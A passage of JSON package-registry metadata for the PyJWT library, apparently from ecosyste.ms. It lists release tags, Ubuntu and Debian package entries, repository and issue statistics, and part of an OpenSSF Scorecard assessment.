ithub/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.242Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/pyjwt?arch=source\u0026distro=ubuntu-24.10\u0026repository_url=https://launchpad.net/ubuntu/oracular","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages/pyjwt/codemeta","maintainers":[],"registry":{"name":"ubuntu-24.10","url":"https://launchpad.net/ubuntu/oracular","ecosystem":"ubuntu","default":false,"packages_count":38437,"maintainers_count":0,"namespaces_count":4,"keywords_count":1473,"github":"ubuntu","metadata":{"codename":"oracular","mirror":"http://old-releases.ubuntu.com/ubuntu","funded_packages_count":214},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:48.028Z","updated_at":"2026-06-10T05:17:05.787Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.10/namespaces"}},{"id":13663510,"name":"pyjwt","ecosystem":"debian","description":null,"homepage":"https://github.com/jpadilla/pyjwt","licenses":"mit","normalized_licenses":[],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-12T09:47:34.298Z","latest_release_published_at":"2026-02-12T09:47:34.298Z","latest_release_number":"2.10.1-2","last_synced_at":"2026-03-14T15:27:48.925Z","created_at":"2026-02-12T09:47:34.131Z","updated_at":"2026-05-29T04:00:36.253Z","registry_url":"https://tracker.debian.org/pkg/pyjwt","install_command":"apt-get install pyjwt","documentation_url":"https://packages.debian.org/trixie/pyjwt","metadata":{"component":"main","architecture":"all","priority":"optional","binary":"python-jwt-doc, python3-jwt","standards_version":"4.7.0","maintainer":"Debian Python Team \u003cteam+python@tracker.debian.org\u003e","build_depends":"debhelper-compat (= 13), dh-sequence-python3, dh-sequence-sphinxdoc \u003c!nodoc\u003e, pybuild-plugin-pyproject, python3-all, python3-cryptography, python3-doc \u003c!nodoc\u003e, python3-exceptiongroup, python3-pytest \u003c!nocheck\u003e, python3-pytest-cov \u003c!nocheck\u003e, python3-pytest-runner \u003c!nocheck\u003e, python3-setuptools, python3-sphinx \u003c!nodoc\u003e, python3-sphinx-rtd-theme \u003c!nodoc\u003e, python3-zope.interface \u003c!nodoc\u003e","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using 